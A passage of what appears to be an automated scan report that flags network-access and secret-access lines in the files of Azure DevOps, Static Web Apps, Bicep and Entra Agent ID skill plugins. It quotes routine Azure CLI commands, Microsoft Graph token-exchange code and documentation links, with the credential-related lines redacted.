    az devops extension install \   --ext-id {extension-id} \   --org https://dev.azure.com/{org} \
  • Network accessline 451
    --ext-id {extension-id} \   --org https://dev.azure.com/{org} \   --publisher {publisher-id}
  • Network accessline 452
    --org https://dev.azure.com/{org} \
  • Network accessline 456
    az devops extension enable \   --ext-id {extension-id} \   --org https://dev.azure.com/{org}
  • Network accessline 458
    --org https://dev.azure.com/{org}
  • Network accessline 461
    az devops extension disable \   --ext-id {extension-id} \   --org https://dev.azure.com/{org}
  • Network accessline 463
    --org https://dev.azure.com/{org}
  • Network accessline 466
    az devops extension uninstall \   --ext-id {extension-id} \   --org https://dev.azure.com/{org} --yes
  • Network accessline 468
    --org https://dev.azure.com/{org} --yes

harness/claude-code/plugins/azure-developer-tooling/skills/azure-devops-cli/references/pipelines-and-builds.md

  • Network accessline 39
    az pipelines create \   --name 'GitHubPipeline' \   --repository https://github.com/Org/Repo \
  • Network accessline 40
    --name 'GitHubPipeline' \   --repository https://github.com/Org/Repo \   --branch main \
  • Network accessline 41
    --repository https://github.com/Org/Repo \

harness/claude-code/plugins/azure-developer-tooling/skills/azure-devops-cli/references/repos-and-prs.md

  • Network accessline 17
    az repos list --org https://dev.azure.com/{org} --project {project}
  • Network accessline 50
    # Import from public Git repository az repos import create \   --git-source-url https://github.com/user/repo \
  • Network accessline 51
    az repos import create    --git-source-url https://github.com/user/repo
  • Network accessline 52
    --git-source-url https://github.com/user/repo \
  • Network accessline 55
    # Import with authentication az repos import create \   --git-source-url https://github.com/{owner}/{repo} \
  • Network accessline 56
    az repos import create    --git-source-url https://github.com/{owner}/{repo}
  • Network accessline 57
    --git-source-url https://github.com/{owner}/{repo} \

harness/claude-code/plugins/azure-developer-tooling/skills/azure-devops-cli/references/workflows-and-patterns.md

  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 158
    [Credential-related source omitted]
  • Network accessline 177
    "serviceEndpointId": "$SERVICE_ENDPOINT_ID"   },   "url": "https://learn.microsoft.com/en-us/rest/api/resources/",
  • Network accessline 178
    [Credential-related source omitted]
  • Network accessline 179
    "url": "https://learn.microsoft.com/en-us/rest/api/resources/",
  • Access to secretsline 185
    [Credential-related source omitted]
  • Network accessline 333
    # Alternative download method   curl -L "$BACKUP_URL" -o ./output/backup.zip
  • Network accessline 334
    curl -L "$BACKUP_URL" -o ./output/backup.zip
  • Access to secretsline 460
    [Credential-related source omitted]
  • Access to secretsline 461
    [Credential-related source omitted]
  • Network accessline 553
    if [[ "$RESULT" == "failed" ]]; then       # Send Slack alert       curl -X POST "$slack_webhook" \
  • Network accessline 554
    # Send Slack alert       curl -X POST "$slack_webhook" \         -H 'Content-Type: application/json' \
  • Network accessline 555
    curl -X POST "$slack_webhook" \

harness/claude-code/plugins/azure-developer-tooling/skills/azure-static-web-apps/SKILL.md

  • Network accessline 27
    - `swa-cli.config.json` is CLI settings and is created by `swa init`; never create it manually. - `staticwebapp.config.json` is runtime configuration for routes, auth, headers, navigation fallback, and API runtime; it can be created manuall
  • Network accessline 29
    - Local SWA emulation defaults to `http://localhost:4280`; common dev server URLs include `http://localhost:3000`.
  • Network accessline 50
    {   "$schema": "https://aka.ms/azure/static-web-apps-cli/schema",
  • Network accessline 51
    "$schema": "https://aka.ms/azure/static-web-apps-cli/schema",
  • Network accessline 57
    "appBuildCommand": "npm run build",       "run": "npm run dev",       "appDevserverUrl": "http://localhost:3000"
  • Network accessline 58
    "run": "npm run dev",       "appDevserverUrl": "http://localhost:3000"     }
  • Network accessline 59
    "appDevserverUrl": "http://localhost:3000"
  • Network accessline 83
    | `swa init` | Configure an existing frontend and optional API. | `swa init`, `swa init --yes`. | | `swa build` | Build frontend and/or API. | `swa build`, `swa build --auto`, `swa build myApp`; flags: `--app-location, -a`, `--api-location,
  • Network accessline 84
    | `swa build` | Build frontend and/or API. | `swa build`, `swa build --auto`, `swa build myApp`; flags: `--app-location, -a`, `--api-location, -i`, `--output-location, -O`, `--app-build-command, -A`, `--api-build-command, -I`. | | `swa star
  • Network accessline 85
    | `swa start` | Start local emulator. | `swa start`, `swa start ./dist`, `swa start http://localhost:3000`, `swa start ./dist --api-location ./api`, `swa start http://localhost:3000 --run "npm start"`; flags: `--port, -p`, `--api-location, 
  • Network accessline 131
    Supported API runtimes are `node:18`, `node:20`, `node:22`, `dotnet:8.0`, `dotnet-isolated:8.0`, `python:3.10`, and `python:3.11`. Test with `npx swa start ./dist --api-location ./api` and access the API at `http://localhost:4280/api/messag
  • Network accessline 211
    ### Validation - Local emulator `http://localhost:4280`: pass | fail | not run
  • Network accessline 212
    - Local emulator `http://localhost:4280`: pass | fail | not run
  • Network accessline 213
    - API `http://localhost:4280/api/message`: pass | fail | not applicable
  • Network accessline 228
    - [SWA CLI schema](https://aka.ms/azure/static-web-apps-cli/schema)

harness/claude-code/plugins/azure-developer-tooling/skills/cloud-design-patterns/SKILL.md

  • Network accessline 115
    - [Cloud Design Patterns - Azure Architecture Center](https://learn.microsoft.com/azure/architecture/patterns/)
  • Network accessline 116
    - [Azure Well-Architected Framework](https://learn.microsoft.com/azure/architecture/framework/)

harness/claude-code/plugins/azure-developer-tooling/skills/update-avm-modules-in-bicep/SKILL.md

  • Network accessline 24
    - A target Bicep file such as `${file}` must be available. - `bicep` must be installed to run `bicep lint` and `bicep build`. - Network access must allow tag discovery from `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/ta
  • Network accessline 26
    - Network access must allow tag discovery from `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list` and documentation review at `https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}`.
  • Network accessline 32
    | Module pattern | Match Azure Verified Modules in Bicep references using `avm/res/{service}/{resource}`. | | Version source | Use the MCR tags API only for version discovery. | | Tags endpoint | `https://mcr.microsoft.com/v2/bicep/avm/res/
  • Network accessline 33
    | Version source | Use the MCR tags API only for version discovery. | | Tags endpoint | `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list`. | | Docs endpoint | `https://github.com/Azure/bicep-registry-modules/tree/m
  • Network accessline 34
    | Tags endpoint | `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list`. |
  • Network accessline 35
    | Docs endpoint | `https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}`. |
  • Network accessline 41
    1. Scan `${file}` and extract every AVM module reference, current version, and source line. 2. Identify all unique `avm/res/{service}/{resource}` modules. 3. Fetch the MCR tags list for each module from `https://mcr.microsoft.com/v2/bicep/a
  • Network accessline 42
    2. Identify all unique `avm/res/{service}/{resource}` modules. 3. Fetch the MCR tags list for each module from `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list`. 4. Parse the JSON `tags` array, keep semantic versio
  • Network accessline 43
    3. Fetch the MCR tags list for each module from `https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list`.
  • Network accessline 44
    4. Parse the JSON `tags` array, keep semantic versions, and compare the latest stable version with the current reference. 5. For each candidate update, review docs and release notes from `https://github.com/Azure/bicep-registry-modules/tree
  • Network accessline 45
    5. For each candidate update, review docs and release notes from `https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}` for breaking changes.
  • Network accessline 68
    | Module | Current | Latest | Status | Action | Docs | |--------|---------|--------|--------|--------|------| | avm/res/compute/vm | 0.1.0 | 0.2.0 | Updated | Updated version and compatible parameters | [Docs](https://github.com/Azure/bicep
  • Network accessline 69
    |--------|---------|--------|--------|--------|------| | avm/res/compute/vm | 0.1.0 | 0.2.0 | Updated | Updated version and compatible parameters | [Docs](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource
  • Network accessline 70
    | avm/res/compute/vm | 0.1.0 | 0.2.0 | Updated | Updated version and compatible parameters | [Docs](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}) |
  • Network accessline 71
    | avm/res/storage/account | 0.3.0 | 0.3.0 | Current | Current | [Docs](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}) |
  • Network accessline 72
    | avm/res/network/virtual-network | 0.4.0 | 0.5.0 | Manual review required | PAUSE for approval before breaking parameter changes | [Docs](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource}) |
  • Network accessline 91
    - [Azure Verified Modules registry source](https://github.com/Azure/bicep-registry-modules/tree/main/avm/res/{service}/{resource})
  • Network accessline 92
    - [MCR AVM tags endpoint](https://mcr.microsoft.com/v2/bicep/avm/res/{service}/{resource}/tags/list)

harness/claude-code/plugins/azure-governance/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "paulasilvatech"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/azure-governance/skills/azure-compliance/references/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

harness/claude-code/plugins/azure-governance/skills/azure-compliance/references/azqr-recommendations.md

  • Network accessline 171
    - [Azure Proactive Resiliency Library](https://aka.ms/aprl)
  • Network accessline 172
    - [Azure Orphaned Resources](https://github.com/dolevshor/azure-orphan-resources)
  • Network accessline 173
    - [Azure Advisor Documentation](https://learn.microsoft.com/azure/advisor/)
  • Network accessline 174
    - [Defender for Cloud Recommendations](https://learn.microsoft.com/azure/defender-for-cloud/recommendations-reference)

harness/claude-code/plugins/azure-governance/skills/azure-compliance/references/azqr-remediation-patterns.md

  • Network accessline 375
    - [Azure CLI Reference](https://learn.microsoft.com/cli/azure/)
  • Network accessline 376
    - [Bicep Documentation](https://learn.microsoft.com/azure/azure-resource-manager/bicep/)
  • Network accessline 377
    - [Azure Policy Built-in Definitions](https://learn.microsoft.com/azure/governance/policy/samples/built-in-policies)

harness/claude-code/plugins/azure-governance/skills/azure-compliance/references/azure-quick-review.md

  • Network accessline 154
    - [Recommendation Categories](azqr-recommendations.md) - [Remediation Patterns](azqr-remediation-patterns.md) - [Azure Quick Review Documentation](https://azure.github.io/azqr/docs/)
  • Network accessline 155
    - [Remediation Patterns](azqr-remediation-patterns.md) - [Azure Quick Review Documentation](https://azure.github.io/azqr/docs/) - [Azure Proactive Resiliency Library](https://aka.ms/aprl)
  • Network accessline 156
    - [Azure Quick Review Documentation](https://azure.github.io/azqr/docs/)
  • Network accessline 157
    - [Azure Proactive Resiliency Library](https://aka.ms/aprl)

harness/claude-code/plugins/azure-governance/skills/azure-compliance/references/sdk/azure-keyvault-keys-ts.md

  • Network accessline 12
    import { KeyClient } from "@azure/keyvault-keys"; import { DefaultAzureCredential } from "@azure/identity"; const keyClient = new KeyClient(`https://${vaultName}.vault.azure.net`, new DefaultAzureCredential());
  • Network accessline 14
    const keyClient = new KeyClient(`https://${vaultName}.vault.azure.net`, new DefaultAzureCredential());

harness/claude-code/plugins/azure-governance/skills/azure-entra-agent-id/SKILL.md

  • Network accessline 25
    |----------|-------| | Service | Microsoft Entra Agent ID | | API | Microsoft Graph (`https://graph.microsoft.com/v1.0`) |
  • Network accessline 26
    | Service | Microsoft Entra Agent ID | | API | Microsoft Graph (`https://graph.microsoft.com/v1.0`) | | Required role | Agent Identity Developer, Agent Identity Administrator, or Application Administrator |
  • Network accessline 27
    | API | Microsoft Graph (`https://graph.microsoft.com/v1.0`) |
  • Access to secretsline 120
    [Credential-related source omitted]
  • Access to secretsline 121
    [Credential-related source omitted]
  • Network accessline 122
    [Credential-related source omitted]
  • Access to secretsline 122
    [Credential-related source omitted]
  • Network accessline 124
    [Credential-related source omitted]
  • Network accessline 126
    GRAPH = "https://graph.microsoft.com/v1.0"
  • Network accessline 150
    "displayName": "My Agent Blueprint",     "sponsors@odata.bind": [         f"https://graph.microsoft.com/v1.0/users/{user_id}"
  • Network accessline 151
    "sponsors@odata.bind": [         f"https://graph.microsoft.com/v1.0/users/{user_id}"     ],
  • Network accessline 152
    f"https://graph.microsoft.com/v1.0/users/{user_id}"
  • Network accessline 153
    ], } resp = requests.post(
  • Network accessline 154
    } resp = requests.post(     f"{GRAPH}/applications/microsoft.graph.agentIdentityBlueprint",
  • Network accessline 155
    resp = requests.post(
  • Network accessline 172
    sp_body = {"appId": app_id} resp = requests.post(
  • Network accessline 173
    resp = requests.post(
  • Network accessline 189
    "agentIdentityBlueprintId": app_id,     "sponsors@odata.bind": [         f"https://graph.microsoft.com/v1.0/users/{user_id}"
  • Network accessline 190
    "sponsors@odata.bind": [         f"https://graph.microsoft.com/v1.0/users/{user_id}"     ],
  • Network accessline 191
    f"https://graph.microsoft.com/v1.0/users/{user_id}"
  • Network accessline 192
    ], } resp = requests.post(
  • Network accessline 193
    } resp = requests.post(     f"{GRAPH}/servicePrincipals/microsoft.graph.agentIdentity",
  • Network accessline 194
    resp = requests.post(
  • Network accessline 232
    graph_sp = requests.get(
  • Network accessline 239
    requests.post(
  • Network accessline 257
    requests.post(
  • Network accessline 294
    Base URL: `https://graph.microsoft.com/v1.0`.
  • Network accessline 359
    | Resource | URL | |----------|-----| | Agent ID Setup Guide | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions |
  • Network accessline 360
    |----------|-----| | Agent ID Setup Guide | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions | | AI-Guided Setup | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-ai-
  • Network accessline 361
    | Agent ID Setup Guide | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions |
  • Network accessline 362
    | AI-Guided Setup | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-ai-guided-setup |
  • Network accessline 363
    | Microsoft Entra SDK for AgentID | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/overview |
  • Network accessline 364
    | Microsoft.Identity.Web.AgentIdentities (.NET) | https://github.com/AzureAD/microsoft-identity-web/blob/master/src/Microsoft.Identity.Web.AgentIdentities/README.AgentIdentities.md |

harness/claude-code/plugins/azure-governance/skills/azure-entra-agent-id/references/known-limitations.md

  • Network accessline 3
    Source: [Microsoft Entra Agent ID — known issues and gaps](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/preview-known-issues)
  • Network accessline 51
    27. **Copilot Studio** — only custom engine agents are supported; Agent IDs are used for channel auth only (not connectors or tools). 28. **MSAL complexity** — Agent ID scenarios require managing Federated Identity Credentials manually. For
  • Network accessline 52
    28. **MSAL complexity** — Agent ID scenarios require managing Federated Identity Credentials manually. For .NET use [Microsoft.Identity.Web.AgentIdentities](https://github.com/AzureAD/microsoft-identity-web/blob/master/src/Microsoft.Identit
  • Network accessline 56
    Report unlisted issues via [aka.ms/agentidfeedback](https://aka.ms/agentidfeedback).

harness/claude-code/plugins/azure-governance/skills/azure-entra-agent-id/references/oauth2-token-flow.md

  • Network accessline 3
    Source: [Agent ID Setup Instructions](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions)
  • Network accessline 21
    requests.patch(
  • Network accessline 33
    fic_body = {     "name": "my-fic-name",     "issuer": f"https://login.microsoftonline.com/{tenant_id}/v2.0",
  • Network accessline 34
    "name": "my-fic-name",     "issuer": f"https://login.microsoftonline.com/{tenant_id}/v2.0",     "subject": mi_principal_id,   # The MI's object ID (principalId), NOT client ID
  • Network accessline 35
    "issuer": f"https://login.microsoftonline.com/{tenant_id}/v2.0",
  • Network accessline 37
    "audiences": ["api://AzureADTokenExchange"], } requests.post(
  • Network accessline 38
    } requests.post(     f"{GRAPH}/applications/{blueprint_obj_id}"
  • Network accessline 39
    requests.post(
  • Network accessline 62
    jwks_client = PyJWKClient(     f"https://login.microsoftonline.com/{tenant_id}/discovery/v2.0/keys"
  • Network accessline 63
    f"https://login.microsoftonline.com/{tenant_id}/discovery/v2.0/keys"
  • Network accessline 70
    algorithms=["RS256"],     audience=f"api://{blueprint_app_id}",     issuer=f"https://sts.windows.net/{tenant_id}/",
  • Network accessline 71
    audience=f"api://{blueprint_app_id}",     issuer=f"https://sts.windows.net/{tenant_id}/", )
  • Network accessline 72
    issuer=f"https://sts.windows.net/{tenant_id}/",
  • Network accessline 79
    - **`subject`** is the MI's `principalId` (object ID), not its client ID. - **`audiences`** must be `["api://AzureADTokenExchange"]` — not your API audience. - **FIC `issuer`**: `https://login.microsoftonline.com/{tenant}/v2.0`.
  • Network accessline 80
    - **`audiences`** must be `["api://AzureADTokenExchange"]` — not your API audience. - **FIC `issuer`**: `https://login.microsoftonline.com/{tenant}/v2.0`. - **Token `issuer`** for validation: `https://sts.windows.net/{tenant}/` (different d
  • Network accessline 81
    - **FIC `issuer`**: `https://login.microsoftonline.com/{tenant}/v2.0`.
  • Network accessline 82
    - **Token `issuer`** for validation: `https://sts.windows.net/{tenant}/` (different domain, trailing slash).
  • Network accessline 100
    $credential = Invoke-MgGraphRequest -Method POST `     -Uri "https://graph.microsoft.com/v1.0/applications/<BLUEPRINT_OBJECT_ID>/addPassword" `
  • Network accessline 101
    -Uri "https://graph.microsoft.com/v1.0/applications/<BLUEPRINT_OBJECT_ID>/addPassword" `
  • Network accessline 111
    resp = requests.post(

harness/claude-code/plugins/azure-governance/skills/azure-entra-agent-id/references/obo-blueprint-setup.md

  • Network accessline 39
    }, } requests.patch(
  • Network accessline 40
    } requests.patch(     f"{GRAPH}/applications/{blueprint_obj_id}",
  • Network accessline 41
    requests.patch(
  • Network accessline 63
    requests.post(
  • Network accessline 82
    tenant_id=tenant_id,     client_id=client_app_id,   # Your client app, NOT the Blueprint     redirect_uri="http://localhost:8400",
  • Network accessline 83
    client_id=client_app_id,   # Your client app, NOT the Blueprint     redirect_uri="http://localhost:8400", )
  • Network accessline 84
    redirect_uri="http://localhost:8400",
  • Network accessline 89
    > If the user token targets `https://graph.microsoft.com` instead of the Blueprint, the OBO exchange returns `AADSTS50013: Assertion failed signature validation`.

harness/claude-code/plugins/azure-governance/skills/azure-entra-agent-id/references/runtime-token-exchange.md

  • Network accessline 3
    Source: [Agent ID Setup Instructions](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions)
  • Network accessline 8
    Step 1: Blueprint credentials + fmi_path  →  Parent token (aud: api://AzureADTokenExchange) Step 2: Parent token as client_assertion  →  Graph token (aud: https://graph.microsoft.com)
  • Network accessline 9
    Step 2: Parent token as client_assertion  →  Graph token (aud: https://graph.microsoft.com)
  • Network accessline 19
    TOKEN_URL = "https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token"
  • Access to secretsline 31
    [Credential-related source omitted]
  • Network accessline 34
    }     data = urllib.parse.urlencode(params).encode("utf-8")     req = urllib.request.Request(
  • Network accessline 35
    data = urllib.parse.urlencode(params).encode("utf-8")     req = urllib.request.Request(         TOKEN_URL.format(tenant=tenant_id), data=data,
  • Network accessline 36
    req = urllib.request.Request(
  • Network accessline 38
    headers={"Content-Type": "application/x-www-form-urlencoded"},     )     with urllib.request.urlopen(req, timeout=10) as resp:
  • Network accessline 39
    )     with urllib.request.urlopen(req, timeout=10) as resp:         return json.loads(resp.read())["access_token"]
  • Network accessline 40
    with urllib.request.urlopen(req, timeout=10) as resp:
  • Access to secretsline 41
    [Credential-related source omitted]
  • Network accessline 47
    |-------|-------| | `aud` | `api://AzureADTokenExchange` | | `iss` | `https://login.microsoftonline.com/{tenant}/v2.0` |
  • Network accessline 48
    | `aud` | `api://AzureADTokenExchange` | | `iss` | `https://login.microsoftonline.com/{tenant}/v2.0` | | `sub` | Blueprint SP object ID |
  • Network accessline 49
    | `iss` | `https://login.microsoftonline.com/{tenant}/v2.0` |
  • Access to secretsline 58
    [Credential-related source omitted]
  • Network accessline 86
    "client_assertion_type": "urn:ietf:params:oauth:client-assertion-type:jwt-bearer",         "client_assertion": parent_token,         "scope": "https://graph.microsoft.com/.default",
  • Network accessline 87
    "client_assertion": parent_token,         "scope": "https://graph.microsoft.com/.default",     }
  • Network accessline 88
    "scope": "https://graph.microsoft.com/.default",     }     data = urllib.parse.urlencode(params).encode("utf-8")
  • Network accessline 89
    }     data = urllib.parse.urlencode(params).encode("utf-8")     req = urllib.request.Request(
  • Network accessline 90
    data = urllib.parse.urlencode(params).encode("utf-8")     req = urllib.request.Request(         TOKEN_URL.format(tenant=tenant_id), data=data,
  • Network accessline 91
    req = urllib.request.Request(
  • Network accessline 93
    headers={"Content-Type": "application/x-www-form-urlencoded"},     )     with urllib.request.urlopen(req, timeout=10) as resp:
  • Network accessline 94
    )     with urllib.request.urlopen(req, timeout=10) as resp:         return json.loads(resp.read())
  • Network accessline 95
    with urllib.request.urlopen(req, timeout=10) as resp:
  • Network accessline 115
    "assertion": user_token,         "requested_token_use": "on_behalf_of",         "scope": "https://graph.microsoft.com/.default",
  • Network accessline 116
    "requested_token_use": "on_behalf_of",         "scope": "https://graph.microsoft.com/.default",     }
  • Network accessline 117
    "scope": "https://graph.microsoft.com/.default",     }     data = urllib.parse.urlencode(params).encode("utf-8")
  • Network accessline 118
    }     data = urllib.parse.urlencode(params).encode("utf-8")     req = urllib.request.Request(
  • Network accessline 119
    data = urllib.parse.urlencode(params).encode("utf-8")     req = urllib.request.Request(         TOKEN_URL.format(tenant=tenant_id), data=data,
  • Network accessline 120
    req = urllib.request.Request(
  • Network accessline 122
    headers={"Content-Type": "application/x-www-form-urlencoded"},     )     with urllib.request.urlopen(req, timeout=10) as resp:
  • Network accessline 123
    )     with urllib.request.urlopen(req, timeout=10) as resp:         return json.loads(resp.read())
  • Network accessline 124
    with urllib.request.urlopen(req, timeout=10) as resp:

harness/claude-code/plugins/azure-governance/skills/azure-entra-agent-id/references/sdk-sidecar-deployment.md

  • Network accessline 13
    [Credential-related source omitted]
  • Access to secretsline 13
    [Credential-related source omitted]
  • Access to secretsline 14
    [Credential-related source omitted]
  • Network accessline 16
    def get_agent_token(downstream_api: str = "Graph") -> str:     url = f"{SIDECAR_URL}/AuthorizationHeaderUnauthenticated/{downstream_api}"     resp = requests.get(url, params={"AgentIdentity": AGENT_APP_ID}, timeout=30)
  • Network accessline 17
    url = f"{SIDECAR_URL}/AuthorizationHeaderUnauthenticated/{downstream_api}"     resp = requests.get(url, params={"AgentIdentity": AGENT_APP_ID}, timeout=30)     resp.raise_for_status()
  • Network accessline 18
    resp = requests.get(url, params={"AgentIdentity": AGENT_APP_ID}, timeout=30)
  • Network accessline 22
    [Credential-related source omitted]
  • Network accessline 23
    [Credential-related source omitted]
  • Network accessline 24
    [Credential-related source omitted]
  • Network accessline 32
    [Credential-related source omitted]
  • Network accessline 33
    url = f"{SIDECAR_URL}/AuthorizationHeader/{downstream_api}"     resp = requests.get(         url,
  • Network accessline 34
    resp = requests.get(
  • Network accessline 46
    const SIDECAR_URL = process.env.SIDECAR_URL ?? "http://localhost:5000";
  • Network accessline 56
    const res = await fetch(url.toString());
  • Network accessline 71
    [Credential-related source omitted]
  • Network accessline 72
    resp = requests.get(
  • Network accessline 84
    [Credential-related source omitted]
  • Network accessline 85
    resp = requests.get(
  • Network accessline 105
    - "5001:5000"     environment:       - AzureAd__Instance=https://login.microsoftonline.com/
  • Network accessline 106
    environment:       - AzureAd__Instance=https://login.microsoftonline.com/       - AzureAd__TenantId=${TENANT_ID}
  • Network accessline 107
    - AzureAd__Instance=https://login.microsoftonline.com/
  • Network accessline 110
    - AzureAd__ClientCredentials__0__SourceType=ClientSecret       - AzureAd__ClientCredentials__0__ClientSecret=${BLUEPRINT_CLIENT_SECRET}       - DownstreamApis__Graph__BaseUrl=https://graph.microsoft.com/v1.0/
  • Network accessline 111
    [Credential-related source omitted]
  • Access to secretsline 111
    [Credential-related source omitted]
  • Network accessline 112
    - DownstreamApis__Graph__BaseUrl=https://graph.microsoft.com/v1.0/
  • Network accessline 113
    - DownstreamApis__Graph__Scopes__0=https://graph.microsoft.com/.default
  • Network accessline 115
    - ASPNETCORE_URLS=http://+:5000
  • Network accessline 120
    - "3000:3000"     environment:       - SIDECAR_URL=http://sidecar:5000
  • Network accessline 121
    environment:       - SIDECAR_URL=http://sidecar:5000       - AGENT_CLIENT_ID=${AGENT_CLIENT_ID}
  • Network accessline 122
    - SIDECAR_URL=http://sidecar:5000
  • Network accessline 147
    env:         - name: SIDECAR_URL           value: "http://localhost:5000"
  • Network accessline 148
    - name: SIDECAR_URL           value: "http://localhost:5000"       - name: sidecar
  • Network accessline 149
    value: "http://localhost:5000"
  • Network accessline 166
    value: "SignedAssertionFilePath"         - name: Kestrel__Endpoints__Http__Url           value: "http://127.0.0.1:5000"
  • Network accessline 167
    - name: Kestrel__Endpoints__Http__Url           value: "http://127.0.0.1:5000"         resources:
  • Network accessline 168
    value: "http://127.0.0.1:5000"         resources:           requests: { memory: "128Mi", cpu: "100m" }
  • Network accessline 184
    1. **Bind to localhost** — `Kestrel__Endpoints__Http__Url=http://127.0.0.1:5000`

harness/claude-code/plugins/azure-governance/skills/azure-entra-agent-id/references/sdk-sidecar.md

  • Network accessline 5
    Image: `mcr.microsoft.com/entra-sdk/auth-sidecar:1.0.0-azurelinux3.0-distroless`. See [GitHub releases](https://github.com/AzureAD/microsoft-identity-web/releases) for tags.
  • Network accessline 48
    env: - name: AzureAd__Instance   value: "https://login.microsoftonline.com/"
  • Network accessline 49
    - name: AzureAd__Instance   value: "https://login.microsoftonline.com/" - name: AzureAd__TenantId
  • Network accessline 50
    value: "https://login.microsoftonline.com/"
  • Network accessline 82
    - name: DownstreamApis__Graph__BaseUrl   value: "https://graph.microsoft.com/v1.0/"
  • Network accessline 83
    value: "https://graph.microsoft.com/v1.0/"
  • Network accessline 84
    - name: DownstreamApis__Graph__Scopes__0   value: "https://graph.microsoft.com/.default" - name: DownstreamApis__Graph__RequestAppToken
  • Network accessline 85
    value: "https://graph.microsoft.com/.default"
  • Network accessline 117
    | Resource | URL | |----------|-----| | SDK Overview | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/overview |
  • Network accessline 118
    |----------|-----| | SDK Overview | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/overview | | Installation | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/installation |
  • Network accessline 119
    | SDK Overview | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/overview |
  • Network accessline 120
    | Installation | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/installation |
  • Network accessline 121
    | Configuration | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/configuration |
  • Network accessline 122
    | Endpoints | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/endpoints |
  • Network accessline 123
    | Agent Identities | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/agent-identities |
  • Network accessline 124
    | Security | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/security |
  • Network accessline 125
    | OpenAPI Spec | https://github.com/AzureAD/microsoft-identity-web/blob/master/src/Microsoft.Identity.Web.Sidecar/OpenAPI/Microsoft.Identity.Web.AgentID.json |

harness/claude-code/plugins/azure-governance/skills/azure-entra-app-registration/SKILL.md

  • Network accessline 73
    - **Web Apps**: Add redirect URIs, enable ID tokens if needed - **SPAs**: Add redirect URIs, enable implicit grant flow if necessary - **Mobile/Desktop**: Use `http://localhost` or custom URI scheme
  • Network accessline 74
    - **SPAs**: Add redirect URIs, enable implicit grant flow if necessary - **Mobile/Desktop**: Use `http://localhost` or custom URI scheme - **Services**: No redirect URI needed for client credentials flow
  • Network accessline 75
    - **Mobile/Desktop**: Use `http://localhost` or custom URI scheme
  • Network accessline 205
    - [Microsoft Identity Platform Documentation](https://learn.microsoft.com/entra/identity-platform/)
  • Network accessline 206
    - [OAuth 2.0 and OpenID Connect protocols](https://learn.microsoft.com/entra/identity-platform/v2-protocols)
  • Network accessline 207
    - [MSAL Documentation](https://learn.microsoft.com/entra/msal/)
  • Network accessline 208
    - [Microsoft Graph API](https://learn.microsoft.com/graph/)

harness/claude-code/plugins/azure-governance/skills/azure-entra-app-registration/references/BICEP-EXAMPLE.bicep

  • Network accessline 18
    @description('Redirect URIs for web application') param webRedirectUris array = [   'https://localhost:5001/signin-oidc'
  • Network accessline 19
    param webRedirectUris array = [   'https://localhost:5001/signin-oidc'   'https://myapp.azurewebsites.net/signin-oidc'
  • Network accessline 20
    'https://localhost:5001/signin-oidc'
  • Network accessline 21
    'https://myapp.azurewebsites.net/signin-oidc'
  • Network accessline 24
    @description('Redirect URIs for single-page application') param spaRedirectUris array = [   'http://localhost:3000'
  • Network accessline 25
    param spaRedirectUris array = [   'http://localhost:3000'   'https://myapp.azurewebsites.net'
  • Network accessline 26
    'http://localhost:3000'
  • Network accessline 27
    'https://myapp.azurewebsites.net'
  • Network accessline 53
    enableAccessTokenIssuance: false     }     homePageUrl: 'https://myapp.azurewebsites.net'
